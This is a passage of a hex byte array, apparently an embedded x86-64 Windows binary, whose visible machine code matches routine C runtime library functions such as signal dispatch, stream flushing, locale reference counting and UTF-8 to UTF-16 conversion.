0x17, 0x83, 0xf9, 0x08, 0x74, 0x42, 0x83, 0xf9, 0x0b, 0x74, 0x3d, - 0x83, 0xf9, 0x0f, 0x74, 0x08, 0x8d, 0x41, 0xeb, 0x83, 0xf8, 0x01, 0x77, - 0x7d, 0x83, 0xe9, 0x02, 0x0f, 0x84, 0xaf, 0x00, 0x00, 0x00, 0x83, 0xe9, - 0x04, 0x0f, 0x84, 0x8b, 0x00, 0x00, 0x00, 0x83, 0xe9, 0x09, 0x0f, 0x84, - 0x94, 0x00, 0x00, 0x00, 0x83, 0xe9, 0x06, 0x0f, 0x84, 0x82, 0x00, 0x00, - 0x00, 0x83, 0xf9, 0x01, 0x74, 0x74, 0x33, 0xff, 0xe9, 0x8f, 0x00, 0x00, - 0x00, 0xe8, 0x6e, 0xbd, 0xff, 0xff, 0x4c, 0x8b, 0xe8, 0x48, 0x85, 0xc0, - 0x75, 0x18, 0x83, 0xc8, 0xff, 0x48, 0x8b, 0x9c, 0x24, 0x88, 0x00, 0x00, - 0x00, 0x48, 0x83, 0xc4, 0x40, 0x41, 0x5e, 0x41, 0x5d, 0x41, 0x5c, 0x5f, - 0x5e, 0xc3, 0x48, 0x8b, 0x00, 0x48, 0x8b, 0x0d, 0xa8, 0x8b, 0x00, 0x00, - 0x48, 0xc1, 0xe1, 0x04, 0x48, 0x03, 0xc8, 0xeb, 0x09, 0x39, 0x58, 0x04, - 0x74, 0x0b, 0x48, 0x83, 0xc0, 0x10, 0x48, 0x3b, 0xc1, 0x75, 0xf2, 0x33, - 0xc0, 0x48, 0x85, 0xc0, 0x75, 0x12, 0xe8, 0x81, 0xc1, 0xff, 0xff, 0xc7, - 0x00, 0x16, 0x00, 0x00, 0x00, 0xe8, 0x56, 0xc0, 0xff, 0xff, 0xeb, 0xae, - 0x48, 0x8d, 0x78, 0x08, 0x45, 0x32, 0xf6, 0x44, 0x88, 0x74, 0x24, 0x70, - 0xeb, 0x22, 0x48, 0x8d, 0x3d, 0x6b, 0x40, 0x01, 0x00, 0xeb, 0x19, 0x48, - 0x8d, 0x3d, 0x5a, 0x40, 0x01, 0x00, 0xeb, 0x10, 0x48, 0x8d, 0x3d, 0x61, - 0x40, 0x01, 0x00, 0xeb, 0x07, 0x48, 0x8d, 0x3d, 0x40, 0x40, 0x01, 0x00, - 0x48, 0x83, 0xa4, 0x24, 0x80, 0x00, 0x00, 0x00, 0x00, 0x45, 0x84, 0xf6, - 0x74, 0x0b, 0xb9, 0x03, 0x00, 0x00, 0x00, 0xe8, 0x20, 0xe2, 0xff, 0xff, - 0x90, 0x48, 0x8b, 0x37, 0x45, 0x84, 0xf6, 0x74, 0x12, 0x48, 0x8b, 0x05, - 0x78, 0x23, 0x01, 0x00, 0x8b, 0xc8, 0x83, 0xe1, 0x3f, 0x48, 0x33, 0xf0, - 0x48, 0xd3, 0xce, 0x48, 0x83, 0xfe, 0x01, 0x0f, 0x84, 0x94, 0x00, 0x00, - 0x00, 0x48, 0x85, 0xf6, 0x0f, 0x84, 0x03, 0x01, 0x00, 0x00, 0x41, 0xbc, - 0x10, 0x09, 0x00, 0x00, 0x83, 0xfb, 0x0b, 0x77, 0x3d, 0x41, 0x0f, 0xa3, - 0xdc, 0x73, 0x37, 0x49, 0x8b, 0x45, 0x08, 0x48, 0x89, 0x84, 0x24, 0x80, - 0x00, 0x00, 0x00, 0x48, 0x89, 0x44, 0x24, 0x30, 0x49, 0x83, 0x65, 0x08, - 0x00, 0x83, 0xfb, 0x08, 0x75, 0x53, 0xe8, 0xf1, 0xba, 0xff, 0xff, 0x8b, - 0x40, 0x10, 0x89, 0x44, 0x24, 0x78, 0x89, 0x44, 0x24, 0x20, 0xe8, 0xe1, - 0xba, 0xff, 0xff, 0xc7, 0x40, 0x10, 0x8c, 0x00, 0x00, 0x00, 0x83, 0xfb, - 0x08, 0x75, 0x32, 0x48, 0x8b, 0x05, 0xb6, 0x8a, 0x00, 0x00, 0x48, 0xc1, - 0xe0, 0x04, 0x49, 0x03, 0x45, 0x00, 0x48, 0x8b, 0x0d, 0xaf, 0x8a, 0x00, - 0x00, 0x48, 0xc1, 0xe1, 0x04, 0x48, 0x03, 0xc8, 0x48, 0x89, 0x44, 0x24, - 0x28, 0x48, 0x3b, 0xc1, 0x74, 0x1d, 0x48, 0x83, 0x60, 0x08, 0x00, 0x48, - 0x83, 0xc0, 0x10, 0xeb, 0xeb, 0x48, 0x8b, 0x05, 0xd4, 0x22, 0x01, 0x00, - 0x48, 0x89, 0x07, 0xeb, 0x06, 0x41, 0xbc, 0x10, 0x09, 0x00, 0x00, 0x45, - 0x84, 0xf6, 0x74, 0x0a, 0xb9, 0x03, 0x00, 0x00, 0x00, 0xe8, 0xa6, 0xe1, - 0xff, 0xff, 0x48, 0x83, 0xfe, 0x01, 0x75, 0x07, 0x33, 0xc0, 0xe9, 0x8e, - 0xfe, 0xff, 0xff, 0x83, 0xfb, 0x08, 0x75, 0x19, 0xe8, 0x6b, 0xba, 0xff, - 0xff, 0x8b, 0x50, 0x10, 0x8b, 0xcb, 0x48, 0x8b, 0xc6, 0x4c, 0x8b, 0x05, - 0x94, 0x75, 0x00, 0x00, 0x41, 0xff, 0xd0, 0xeb, 0x0e, 0x8b, 0xcb, 0x48, - 0x8b, 0xc6, 0x48, 0x8b, 0x15, 0x83, 0x75, 0x00, 0x00, 0xff, 0xd2, 0x83, - 0xfb, 0x0b, 0x77, 0xc8, 0x41, 0x0f, 0xa3, 0xdc, 0x73, 0xc2, 0x48, 0x8b, - 0x84, 0x24, 0x80, 0x00, 0x00, 0x00, 0x49, 0x89, 0x45, 0x08, 0x83, 0xfb, - 0x08, 0x75, 0xb1, 0xe8, 0x28, 0xba, 0xff, 0xff, 0x8b, 0x4c, 0x24, 0x78, - 0x89, 0x48, 0x10, 0xeb, 0xa3, 0x45, 0x84, 0xf6, 0x74, 0x08, 0x8d, 0x4e, - 0x03, 0xe8, 0x36, 0xe1, 0xff, 0xff, 0xb9, 0x03, 0x00, 0x00, 0x00, 0xe8, - 0x54, 0xab, 0xff, 0xff, 0x90, 0xcc, 0xcc, 0xcc, 0x48, 0x8b, 0x15, 0x35, - 0x22, 0x01, 0x00, 0x8b, 0xca, 0x48, 0x33, 0x15, 0xec, 0x3e, 0x01, 0x00, - 0x83, 0xe1, 0x3f, 0x48, 0xd3, 0xca, 0x48, 0x85, 0xd2, 0x0f, 0x95, 0xc0, - 0xc3, 0xcc, 0xcc, 0xcc, 0x48, 0x89, 0x0d, 0xd5, 0x3e, 0x01, 0x00, 0xc3, - 0x48, 0x8b, 0x15, 0x0d, 0x22, 0x01, 0x00, 0x4c, 0x8b, 0xc1, 0x8b, 0xca, - 0x48, 0x33, 0x15, 0xc1, 0x3e, 0x01, 0x00, 0x83, 0xe1, 0x3f, 0x48, 0xd3, - 0xca, 0x48, 0x85, 0xd2, 0x75, 0x03, 0x33, 0xc0, 0xc3, 0x49, 0x8b, 0xc8, - 0x48, 0x8b, 0xc2, 0x48, 0xff, 0x25, 0xe6, 0x74, 0x00, 0x00, 0xcc, 0xcc, - 0x48, 0x89, 0x5c, 0x24, 0x08, 0x4c, 0x89, 0x4c, 0x24, 0x20, 0x57, 0x48, - 0x83, 0xec, 0x20, 0x49, 0x8b, 0xf9, 0x49, 0x8b, 0xd8, 0x48, 0x8b, 0x0a, - 0xe8, 0xf3, 0xd5, 0xff, 0xff, 0x90, 0x48, 0x8b, 0x53, 0x08, 0x48, 0x8b, - 0x03, 0x48, 0x8b, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x5a, 0x8b, 0x48, 0x14, - 0x8b, 0xc1, 0xc1, 0xe8, 0x0d, 0xa8, 0x01, 0x74, 0x4e, 0x8b, 0xc1, 0x24, - 0x03, 0x3c, 0x02, 0x75, 0x05, 0xf6, 0xc1, 0xc0, 0x75, 0x0a, 0x0f, 0xba, - 0xe1, 0x0b, 0x72, 0x04, 0xff, 0x02, 0xeb, 0x37, 0x48, 0x8b, 0x43, 0x10, - 0x80, 0x38, 0x00, 0x75, 0x0f, 0x48, 0x8b, 0x03, 0x48, 0x8b, 0x08, 0x8b, - 0x41, 0x14, 0xd1, 0xe8, 0xa8, 0x01, 0x74, 0x1f, 0x48, 0x8b, 0x03, 0x48, - 0x8b, 0x08, 0xe8, 0xe5, 0x01, 0x00, 0x00, 0x83, 0xf8, 0xff, 0x74, 0x08, - 0x48, 0x8b, 0x43, 0x08, 0xff, 0x00, 0xeb, 0x07, 0x48, 0x8b, 0x43, 0x18, - 0x83, 0x08, 0xff, 0x48, 0x8b, 0x0f, 0xe8, 0x8d, 0xd5, 0xff, 0xff, 0x48, - 0x8b, 0x5c, 0x24, 0x30, 0x48, 0x83, 0xc4, 0x20, 0x5f, 0xc3, 0xcc, 0xcc, - 0x48, 0x89, 0x5c, 0x24, 0x08, 0x4c, 0x89, 0x4c, 0x24, 0x20, 0x56, 0x57, - 0x41, 0x56, 0x48, 0x83, 0xec, 0x60, 0x49, 0x8b, 0xf1, 0x49, 0x8b, 0xf8, - 0x8b, 0x0a, 0xe8, 0xc1, 0xdf, 0xff, 0xff, 0x90, 0x48, 0x8b, 0x1d, 0x39, - 0x35, 0x01, 0x00, 0x48, 0x63, 0x05, 0x2a, 0x35, 0x01, 0x00, 0x4c, 0x8d, - 0x34, 0xc3, 0x48, 0x89, 0x5c, 0x24, 0x38, 0x49, 0x3b, 0xde, 0x0f, 0x84, - 0x88, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x03, 0x48, 0x89, 0x44, 0x24, 0x20, - 0x48, 0x8b, 0x17, 0x48, 0x85, 0xc0, 0x74, 0x21, 0x8b, 0x48, 0x14, 0x8b, - 0xc1, 0xc1, 0xe8, 0x0d, 0xa8, 0x01, 0x74, 0x15, 0x8b, 0xc1, 0x24, 0x03, - 0x3c, 0x02, 0x75, 0x05, 0xf6, 0xc1, 0xc0, 0x75, 0x0e, 0x0f, 0xba, 0xe1, - 0x0b, 0x72, 0x08, 0xff, 0x02, 0x48, 0x83, 0xc3, 0x08, 0xeb, 0xbb, 0x48, - 0x8b, 0x57, 0x10, 0x48, 0x8b, 0x4f, 0x08, 0x48, 0x8b, 0x07, 0x4c, 0x8d, - 0x44, 0x24, 0x20, 0x4c, 0x89, 0x44, 0x24, 0x40, 0x48, 0x89, 0x44, 0x24, - 0x48, 0x48, 0x89, 0x4c, 0x24, 0x50, 0x48, 0x89, 0x54, 0x24, 0x58, 0x48, - 0x8b, 0x44, 0x24, 0x20, 0x48, 0x89, 0x44, 0x24, 0x28, 0x48, 0x89, 0x44, - 0x24, 0x30, 0x4c, 0x8d, 0x4c, 0x24, 0x28, 0x4c, 0x8d, 0x44, 0x24, 0x40, - 0x48, 0x8d, 0x54, 0x24, 0x30, 0x48, 0x8d, 0x8c, 0x24, 0x88, 0x00, 0x00, - 0x00, 0xe8, 0x9e, 0xfe, 0xff, 0xff, 0xeb, 0xa9, 0x8b, 0x0e, 0xe8, 0x65, - 0xdf, 0xff, 0xff, 0x48, 0x8b, 0x9c, 0x24, 0x80, 0x00, 0x00, 0x00, 0x48, - 0x83, 0xc4, 0x60, 0x41, 0x5e, 0x5f, 0x5e, 0xc3, 0x88, 0x4c, 0x24, 0x08, - 0x55, 0x48, 0x8b, 0xec, 0x48, 0x83, 0xec, 0x40, 0x83, 0x65, 0x28, 0x00, - 0x48, 0x8d, 0x45, 0x28, 0x83, 0x65, 0x20, 0x00, 0x4c, 0x8d, 0x4d, 0xe0, - 0x48, 0x89, 0x45, 0xe8, 0x4c, 0x8d, 0x45, 0xe8, 0x48, 0x8d, 0x45, 0x10, - 0x48, 0x89, 0x45, 0xf0, 0x48, 0x8d, 0x55, 0xe4, 0x48, 0x8d, 0x45, 0x20, - 0x48, 0x89, 0x45, 0xf8, 0x48, 0x8d, 0x4d, 0x18, 0xb8, 0x08, 0x00, 0x00, - 0x00, 0x89, 0x45, 0xe0, 0x89, 0x45, 0xe4, 0xe8, 0xd4, 0xfe, 0xff, 0xff, - 0x80, 0x7d, 0x10, 0x00, 0x8b, 0x45, 0x20, 0x0f, 0x45, 0x45, 0x28, 0x48, - 0x83, 0xc4, 0x40, 0x5d, 0xc3, 0xcc, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24, - 0x08, 0x48, 0x89, 0x74, 0x24, 0x10, 0x57, 0x48, 0x83, 0xec, 0x20, 0x48, - 0x8b, 0xd9, 0x8b, 0x49, 0x14, 0x8b, 0xc1, 0x24, 0x03, 0x3c, 0x02, 0x75, - 0x4b, 0xf6, 0xc1, 0xc0, 0x74, 0x46, 0x8b, 0x3b, 0x2b, 0x7b, 0x08, 0x83, - 0x63, 0x10, 0x00, 0x48, 0x8b, 0x73, 0x08, 0x48, 0x89, 0x33, 0x85, 0xff, - 0x7e, 0x32, 0x48, 0x8b, 0xcb, 0xe8, 0x52, 0xd2, 0xff, 0xff, 0x8b, 0xc8, - 0x44, 0x8b, 0xc7, 0x48, 0x8b, 0xd6, 0xe8, 0xf5, 0x40, 0x00, 0x00, 0x3b, - 0xf8, 0x74, 0x0a, 0xf0, 0x83, 0x4b, 0x14, 0x10, 0x83, 0xc8, 0xff, 0xeb, - 0x11, 0x8b, 0x43, 0x14, 0xc1, 0xe8, 0x02, 0xa8, 0x01, 0x74, 0x05, 0xf0, - 0x83, 0x63, 0x14, 0xfd, 0x33, 0xc0, 0x48, 0x8b, 0x5c, 0x24, 0x30, 0x48, - 0x8b, 0x74, 0x24, 0x38, 0x48, 0x83, 0xc4, 0x20, 0x5f, 0xc3, 0xcc, 0xcc, - 0x40, 0x53, 0x48, 0x83, 0xec, 0x20, 0x48, 0x8b, 0xd9, 0x48, 0x85, 0xc9, - 0x75, 0x0a, 0x48, 0x83, 0xc4, 0x20, 0x5b, 0xe9, 0x0c, 0xff, 0xff, 0xff, - 0xe8, 0x67, 0xff, 0xff, 0xff, 0x85, 0xc0, 0x75, 0x21, 0x8b, 0x43, 0x14, - 0xc1, 0xe8, 0x0b, 0xa8, 0x01, 0x74, 0x13, 0x48, 0x8b, 0xcb, 0xe8, 0xe1, - 0xd1, 0xff, 0xff, 0x8b, 0xc8, 0xe8, 0x7a, 0x37, 0x00, 0x00, 0x85, 0xc0, - 0x75, 0x04, 0x33, 0xc0, 0xeb, 0x03, 0x83, 0xc8, 0xff, 0x48, 0x83, 0xc4, - 0x20, 0x5b, 0xc3, 0xcc, 0xb1, 0x01, 0xe9, 0xd1, 0xfe, 0xff, 0xff, 0xcc, - 0xf0, 0xff, 0x41, 0x10, 0x48, 0x8b, 0x81, 0xe0, 0x00, 0x00, 0x00, 0x48, - 0x85, 0xc0, 0x74, 0x03, 0xf0, 0xff, 0x00, 0x48, 0x8b, 0x81, 0xf0, 0x00, - 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x03, 0xf0, 0xff, 0x00, 0x48, 0x8b, - 0x81, 0xe8, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x03, 0xf0, 0xff, - 0x00, 0x48, 0x8b, 0x81, 0x00, 0x01, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, - 0x03, 0xf0, 0xff, 0x00, 0x48, 0x8d, 0x41, 0x38, 0x41, 0xb8, 0x06, 0x00, - 0x00, 0x00, 0x48, 0x8d, 0x15, 0xb7, 0x21, 0x01, 0x00, 0x48, 0x39, 0x50, - 0xf0, 0x74, 0x0b, 0x48, 0x8b, 0x10, 0x48, 0x85, 0xd2, 0x74, 0x03, 0xf0, - 0xff, 0x02, 0x48, 0x83, 0x78, 0xe8, 0x00, 0x74, 0x0c, 0x48, 0x8b, 0x50, - 0xf8, 0x48, 0x85, 0xd2, 0x74, 0x03, 0xf0, 0xff, 0x02, 0x48, 0x83, 0xc0, - 0x20, 0x49, 0x83, 0xe8, 0x01, 0x75, 0xcb, 0x48, 0x8b, 0x89, 0x20, 0x01, - 0x00, 0x00, 0xe9, 0x79, 0x01, 0x00, 0x00, 0xcc, 0x48, 0x89, 0x5c, 0x24, - 0x08, 0x48, 0x89, 0x6c, 0x24, 0x10, 0x48, 0x89, 0x74, 0x24, 0x18, 0x57, - 0x48, 0x83, 0xec, 0x20, 0x48, 0x8b, 0x81, 0xf8, 0x00, 0x00, 0x00, 0x48, - 0x8b, 0xd9, 0x48, 0x85, 0xc0, 0x74, 0x79, 0x48, 0x8d, 0x0d, 0xaa, 0x26, - 0x01, 0x00, 0x48, 0x3b, 0xc1, 0x74, 0x6d, 0x48, 0x8b, 0x83, 0xe0, 0x00, - 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x61, 0x83, 0x38, 0x00, 0x75, 0x5c, - 0x48, 0x8b, 0x8b, 0xf0, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc9, 0x74, 0x16, - 0x83, 0x39, 0x00, 0x75, 0x11, 0xe8, 0x1a, 0xbc, 0xff, 0xff, 0x48, 0x8b, - 0x8b, 0xf8, 0x00, 0x00, 0x00, 0xe8, 0xa2, 0x1f, 0x00, 0x00, 0x48, 0x8b, - 0x8b, 0xe8, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc9, 0x74, 0x16, 0x83, 0x39, - 0x00, 0x75, 0x11, 0xe8, 0xf8, 0xbb, 0xff, 0xff, 0x48, 0x8b, 0x8b, 0xf8, - 0x00, 0x00, 0x00, 0xe8, 0x8c, 0x20, 0x00, 0x00, 0x48, 0x8b, 0x8b, 0xe0, - 0x00, 0x00, 0x00, 0xe8, 0xe0, 0xbb, 0xff, 0xff, 0x48, 0x8b, 0x8b, 0xf8, - 0x00, 0x00, 0x00, 0xe8, 0xd4, 0xbb, 0xff, 0xff, 0x48, 0x8b, 0x83, 0x00, - 0x01, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x47, 0x83, 0x38, 0x00, 0x75, - 0x42, 0x48, 0x8b, 0x8b, 0x08, 0x01, 0x00, 0x00, 0x48, 0x81, 0xe9, 0xfe, - 0x00, 0x00, 0x00, 0xe8, 0xb0, 0xbb, 0xff, 0xff, 0x48, 0x8b, 0x8b, 0x10, - 0x01, 0x00, 0x00, 0xbf, 0x80, 0x00, 0x00, 0x00, 0x48, 0x2b, 0xcf, 0xe8, - 0x9c, 0xbb, 0xff, 0xff, 0x48, 0x8b, 0x8b, 0x18, 0x01, 0x00, 0x00, 0x48, - 0x2b, 0xcf, 0xe8, 0x8d, 0xbb, 0xff, 0xff, 0x48, 0x8b, 0x8b, 0x00, 0x01, - 0x00, 0x00, 0xe8, 0x81, 0xbb, 0xff, 0xff, 0x48, 0x8b, 0x8b, 0x20, 0x01, - 0x00, 0x00, 0xe8, 0xa5, 0x00, 0x00, 0x00, 0x48, 0x8d, 0xb3, 0x28, 0x01, - 0x00, 0x00, 0xbd, 0x06, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x7b, 0x38, 0x48, - 0x8d, 0x05, 0x6a, 0x20, 0x01, 0x00, 0x48, 0x39, 0x47, 0xf0, 0x74, 0x1a, - 0x48, 0x8b, 0x0f, 0x48, 0x85, 0xc9, 0x74, 0x12, 0x83, 0x39, 0x00, 0x75, - 0x0d, 0xe8, 0x46, 0xbb, 0xff, 0xff, 0x48, 0x8b, 0x0e, 0xe8, 0x3e, 0xbb, - 0xff, 0xff, 0x48, 0x83, 0x7f, 0xe8, 0x00, 0x74, 0x13, 0x48, 0x8b, 0x4f, - 0xf8, 0x48, 0x85, 0xc9, 0x74, 0x0a, 0x83, 0x39, 0x00, 0x75, 0x05, 0xe8, - 0x24, 0xbb, 0xff, 0xff, 0x48, 0x83, 0xc6, 0x08, 0x48, 0x83, 0xc7, 0x20, - 0x48, 0x83, 0xed, 0x01, 0x75, 0xb1, 0x48, 0x8b, 0xcb, 0x48, 0x8b, 0x5c, - 0x24, 0x30, 0x48, 0x8b, 0x6c, 0x24, 0x38, 0x48, 0x8b, 0x74, 0x24, 0x40, - 0x48, 0x83, 0xc4, 0x20, 0x5f, 0xe9, 0xfa, 0xba, 0xff, 0xff, 0xcc, 0xcc, - 0x48, 0x85, 0xc9, 0x74, 0x1c, 0x48, 0x8d, 0x05, 0x60, 0x88, 0x00, 0x00, - 0x48, 0x3b, 0xc8, 0x74, 0x10, 0xb8, 0x01, 0x00, 0x00, 0x00, 0xf0, 0x0f, - 0xc1, 0x81, 0x5c, 0x01, 0x00, 0x00, 0xff, 0xc0, 0xc3, 0xb8, 0xff, 0xff, - 0xff, 0x7f, 0xc3, 0xcc, 0x48, 0x85, 0xc9, 0x74, 0x30, 0x53, 0x48, 0x83, - 0xec, 0x20, 0x48, 0x8d, 0x05, 0x33, 0x88, 0x00, 0x00, 0x48, 0x8b, 0xd9, - 0x48, 0x3b, 0xc8, 0x74, 0x17, 0x8b, 0x81, 0x5c, 0x01, 0x00, 0x00, 0x85, - 0xc0, 0x75, 0x0d, 0xe8, 0x0c, 0x20, 0x00, 0x00, 0x48, 0x8b, 0xcb, 0xe8, - 0xa0, 0xba, 0xff, 0xff, 0x48, 0x83, 0xc4, 0x20, 0x5b, 0xc3, 0xcc, 0xcc, - 0x48, 0x85, 0xc9, 0x74, 0x1a, 0x48, 0x8d, 0x05, 0x00, 0x88, 0x00, 0x00, - 0x48, 0x3b, 0xc8, 0x74, 0x0e, 0x83, 0xc8, 0xff, 0xf0, 0x0f, 0xc1, 0x81, - 0x5c, 0x01, 0x00, 0x00, 0xff, 0xc8, 0xc3, 0xb8, 0xff, 0xff, 0xff, 0x7f, - 0xc3, 0xcc, 0xcc, 0xcc, 0x48, 0x83, 0xec, 0x28, 0x48, 0x85, 0xc9, 0x0f, - 0x84, 0x96, 0x00, 0x00, 0x00, 0x41, 0x83, 0xc9, 0xff, 0xf0, 0x44, 0x01, - 0x49, 0x10, 0x48, 0x8b, 0x81, 0xe0, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, - 0x74, 0x04, 0xf0, 0x44, 0x01, 0x08, 0x48, 0x8b, 0x81, 0xf0, 0x00, 0x00, - 0x00, 0x48, 0x85, 0xc0, 0x74, 0x04, 0xf0, 0x44, 0x01, 0x08, 0x48, 0x8b, - 0x81, 0xe8, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x04, 0xf0, 0x44, - 0x01, 0x08, 0x48, 0x8b, 0x81, 0x00, 0x01, 0x00, 0x00, 0x48, 0x85, 0xc0, - 0x74, 0x04, 0xf0, 0x44, 0x01, 0x08, 0x48, 0x8d, 0x41, 0x38, 0x41, 0xb8, - 0x06, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x15, 0x15, 0x1f, 0x01, 0x00, 0x48, - 0x39, 0x50, 0xf0, 0x74, 0x0c, 0x48, 0x8b, 0x10, 0x48, 0x85, 0xd2, 0x74, - 0x04, 0xf0, 0x44, 0x01, 0x0a, 0x48, 0x83, 0x78, 0xe8, 0x00, 0x74, 0x0d, - 0x48, 0x8b, 0x50, 0xf8, 0x48, 0x85, 0xd2, 0x74, 0x04, 0xf0, 0x44, 0x01, - 0x0a, 0x48, 0x83, 0xc0, 0x20, 0x49, 0x83, 0xe8, 0x01, 0x75, 0xc9, 0x48, - 0x8b, 0x89, 0x20, 0x01, 0x00, 0x00, 0xe8, 0x35, 0xff, 0xff, 0xff, 0x48, - 0x83, 0xc4, 0x28, 0xc3, 0x48, 0x89, 0x5c, 0x24, 0x08, 0x57, 0x48, 0x83, - 0xec, 0x20, 0xe8, 0xbd, 0xb3, 0xff, 0xff, 0x48, 0x8d, 0xb8, 0x90, 0x00, - 0x00, 0x00, 0x8b, 0x88, 0xa8, 0x03, 0x00, 0x00, 0x8b, 0x05, 0xfa, 0x23, - 0x01, 0x00, 0x85, 0xc8, 0x74, 0x08, 0x48, 0x8b, 0x1f, 0x48, 0x85, 0xdb, - 0x75, 0x2c, 0xb9, 0x04, 0x00, 0x00, 0x00, 0xe8, 0x64, 0xda, 0xff, 0xff, - 0x90, 0x48, 0x8b, 0x15, 0x04, 0x30, 0x01, 0x00, 0x48, 0x8b, 0xcf, 0xe8, - 0x28, 0x00, 0x00, 0x00, 0x48, 0x8b, 0xd8, 0xb9, 0x04, 0x00, 0x00, 0x00, - 0xe8, 0x9b, 0xda, 0xff, 0xff, 0x48, 0x85, 0xdb, 0x74, 0x0e, 0x48, 0x8b, - 0xc3, 0x48, 0x8b, 0x5c, 0x24, 0x30, 0x48, 0x83, 0xc4, 0x20, 0x5f, 0xc3, - 0xe8, 0x7f, 0xae, 0xff, 0xff, 0x90, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24, - 0x08, 0x57, 0x48, 0x83, 0xec, 0x20, 0x48, 0x8b, 0xfa, 0x48, 0x85, 0xd2, - 0x74, 0x46, 0x48, 0x85, 0xc9, 0x74, 0x41, 0x48, 0x8b, 0x19, 0x48, 0x3b, - 0xda, 0x75, 0x05, 0x48, 0x8b, 0xc7, 0xeb, 0x36, 0x48, 0x89, 0x39, 0x48, - 0x8b, 0xcf, 0xe8, 0x2d, 0xfc, 0xff, 0xff, 0x48, 0x85, 0xdb, 0x74, 0xeb, - 0x48, 0x8b, 0xcb, 0xe8, 0xac, 0xfe, 0xff, 0xff, 0x83, 0x7b, 0x10, 0x00, - 0x75, 0xdd, 0x48, 0x8d, 0x05, 0xb3, 0x1c, 0x01, 0x00, 0x48, 0x3b, 0xd8, - 0x74, 0xd1, 0x48, 0x8b, 0xcb, 0xe8, 0x92, 0xfc, 0xff, 0xff, 0xeb, 0xc7, - 0x33, 0xc0, 0x48, 0x8b, 0x5c, 0x24, 0x30, 0x48, 0x83, 0xc4, 0x20, 0x5f, - 0xc3, 0xcc, 0xcc, 0xcc, 0x8b, 0x05, 0xee, 0x37, 0x01, 0x00, 0xc3, 0xcc, - 0x40, 0x53, 0x48, 0x83, 0xec, 0x40, 0x48, 0x63, 0xd9, 0x48, 0x8d, 0x4c, - 0x24, 0x20, 0xe8, 0x41, 0x8a, 0xff, 0xff, 0x8d, 0x43, 0x01, 0x3d, 0x00, - 0x01, 0x00, 0x00, 0x77, 0x13, 0x48, 0x8b, 0x44, 0x24, 0x28, 0x48, 0x8b, - 0x08, 0x0f, 0xb7, 0x04, 0x59, 0x25, 0x00, 0x80, 0x00, 0x00, 0xeb, 0x02, - 0x33, 0xc0, 0x80, 0x7c, 0x24, 0x38, 0x00, 0x74, 0x0c, 0x48, 0x8b, 0x4c, - 0x24, 0x20, 0x83, 0xa1, 0xa8, 0x03, 0x00, 0x00, 0xfd, 0x48, 0x83, 0xc4, - 0x40, 0x5b, 0xc3, 0xcc, 0x40, 0x53, 0x48, 0x83, 0xec, 0x30, 0x48, 0x8b, - 0xd9, 0x48, 0x8d, 0x4c, 0x24, 0x20, 0xe8, 0xcd, 0x3f, 0x00, 0x00, 0x48, - 0x83, 0xf8, 0x04, 0x77, 0x1a, 0x8b, 0x54, 0x24, 0x20, 0xb9, 0xfd, 0xff, - 0x00, 0x00, 0x81, 0xfa, 0xff, 0xff, 0x00, 0x00, 0x0f, 0x47, 0xd1, 0x48, - 0x85, 0xdb, 0x74, 0x03, 0x66, 0x89, 0x13, 0x48, 0x83, 0xc4, 0x30, 0x5b, - 0xc3, 0xcc, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24, 0x10, 0x48, 0x89, 0x6c, - 0x24, 0x18, 0x57, 0x41, 0x54, 0x41, 0x55, 0x41, 0x56, 0x41, 0x57, 0x48, - 0x83, 0xec, 0x20, 0x48, 0x8b, 0x3a, 0x45, 0x33, 0xed, 0x4d, 0x8b, 0xe1, - 0x49, 0x8b, 0xe8, 0x4c, 0x8b, 0xf2, 0x4c, 0x8b, 0xf9, 0x48, 0x85, 0xc9, - 0x0f, 0x84, 0xee, 0x00, 0x00, 0x00, 0x48, 0x8b, 0xd9, 0x4d, 0x85, 0xc0, - 0x0f, 0x84, 0xa1, 0x00, 0x00, 0x00, 0x44, 0x38, 0x2f, 0x75, 0x08, 0x41, - 0xb8, 0x01, 0x00, 0x00, 0x00, 0xeb, 0x1d, 0x44, 0x38, 0x6f, 0x01, 0x75, - 0x08, 0x41, 0xb8, 0x02, 0x00, 0x00, 0x00, 0xeb, 0x0f, 0x8a, 0x47, 0x02, - 0xf6, 0xd8, 0x4d, 0x1b, 0xc0, 0x49, 0xf7, 0xd8, 0x49, 0x83, 0xc0, 0x03, - 0x4d, 0x8b, 0xcc, 0x48, 0x8d, 0x4c, 0x24, 0x50, 0x48, 0x8b, 0xd7, 0xe8, - 0x2c, 0x3f, 0x00, 0x00, 0x48, 0x8b, 0xd0, 0x48, 0x83, 0xf8, 0xff, 0x74, - 0x75, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x8b, 0x4c, 0x24, 0x50, 0x81, 0xf9, - 0xff, 0xff, 0x00, 0x00, 0x76, 0x39, 0x48, 0x83, 0xfd, 0x01, 0x76, 0x47, - 0x81, 0xc1, 0x00, 0x00, 0xff, 0xff, 0x41, 0xb8, 0x00, 0xd8, 0x00, 0x00, - 0x8b, 0xc1, 0x89, 0x4c, 0x24, 0x50, 0xc1, 0xe8, 0x0a, 0x48, 0xff, 0xcd, - 0x66, 0x41, 0x0b, 0xc0, 0x66, 0x89, 0x03, 0xb8, 0xff, 0x03, 0x00, 0x00, - 0x66, 0x23, 0xc8, 0x48, 0x83, 0xc3, 0x02, 0xb8, 0x00, 0xdc, 0x00, 0x00, - 0x66, 0x0b, 0xc8, 0x66, 0x89, 0x0b, 0x48, 0x03, 0xfa, 0x48, 0x83, 0xc3, - 0x02, 0x48, 0x83, 0xed, 0x01, 0x0f, 0x85, 0x5f, 0xff, 0xff, 0xff, 0x49, - 0x2b, 0xdf, 0x49, 0x89, 0x3e, 0x48, 0xd1, 0xfb, 0x48, 0x8b, 0xc3, 